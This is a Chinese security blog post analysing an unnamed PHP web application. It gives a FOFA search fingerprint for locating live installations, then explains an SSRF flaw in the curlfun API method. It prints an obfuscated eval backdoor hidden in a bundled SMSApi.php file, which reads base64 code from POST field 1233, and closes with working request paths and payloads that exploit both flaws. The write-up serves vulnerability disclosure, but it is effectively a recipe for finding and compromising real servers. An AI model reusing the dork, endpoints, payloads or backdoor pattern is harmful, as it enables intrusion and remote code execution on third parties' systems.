xhys121zero2024-12-16文章来源:SecHub网络安全社区
fofa:
"/static/index/login/app.f8729b16.js"
进入到application/index/controller/Api.php
的curlfun
方法中
分析:该方法首先是设置了一个空数组$header
,用于存储HTTP请求头;设置了一个包含curl选项的数组包含了超时时间、成功执行后返回传输的数据等内容,之后就是对请求方法的判断,如果是GET请求将参数拼接到 URL 后面,并设置 CURLOPT_URL
选项,若是POST请求将参数编码为查询字符串,设置 CURLOPT_URL
为 URL,CURLOPT_POST
为 1(表示进行 POST 请求),并设置 CURLOPT_POSTFIELDS
为编码后的参数。
接着就是使用 curl_init()
初始化一个新的 cURL 会话, curl_setopt_array()
方法设置curl选项里面(包含了我们的url参数内容),接着就是curl_exec()
方法执行 cURL 会话并获取响应数据
总结
在该方法中其中的url参数是我们可以控制的并且整个创建会话到执行会话没有对该参数进行严格的过滤与限制进而造成了ssrf攻击
在extend/dayu2.0/lib/Api/Sms/Request/V20170525/SMSApi.php
中仔细一看这似乎是开发者留下的一个鸡肋的后门文件
我们仔细分析一下该后门文件
<?php
function UnWA(){
$_1='_'.chr(43^123).chr(81^30).chr(15^92).chr(82^6);//创建了一个由下划线开始的字符串,后面跟着四个通过异或操作生成的字符
return $_1;
}
function FExc($user)
{
$_x=null;//创建一个空的变量
eval("\n".$user.$_x);//将获取到的user参数与前面创建的空变量拼接作为eval函数的参数
}
$_2=${UnWA()}[1233];//调用 UnWA 函数并使用数组下标 [1233] 来获取一个值
$_2_1 = base64_decode($_2);//将该值进行base64解码
$_3=null;
$_4=$_3.$_2_1;//将$_3与base64解码的内容进行拼接得到$_4
FExc($_4);//最后调用FExc方法
?>
**分析:**在FExc
函数中会执行eval
方法这是一个很危险的方法,只要我们变量可以控制那么我们就可以利用该漏洞,在上述代码中我们可以对1233
下标传入一个base64编码的恶意poc进而调用FExc
函数下的eval
方法,实现漏洞的利用
poc
http://xxx.xxx.xxx.xxx/index.php/index/Api/curlfun?url=http://www.baidu.com
发现成功跳转到了百度
对phpinfo();
进行base64编码得到cGhwaW5mbygpOw==
访问http://ip/extend/dayu2.0/lib/Api/Sms/Request/V20170525/SMSApi.php
路由post对1233传入恶意poc发现成功显示phpinfo页面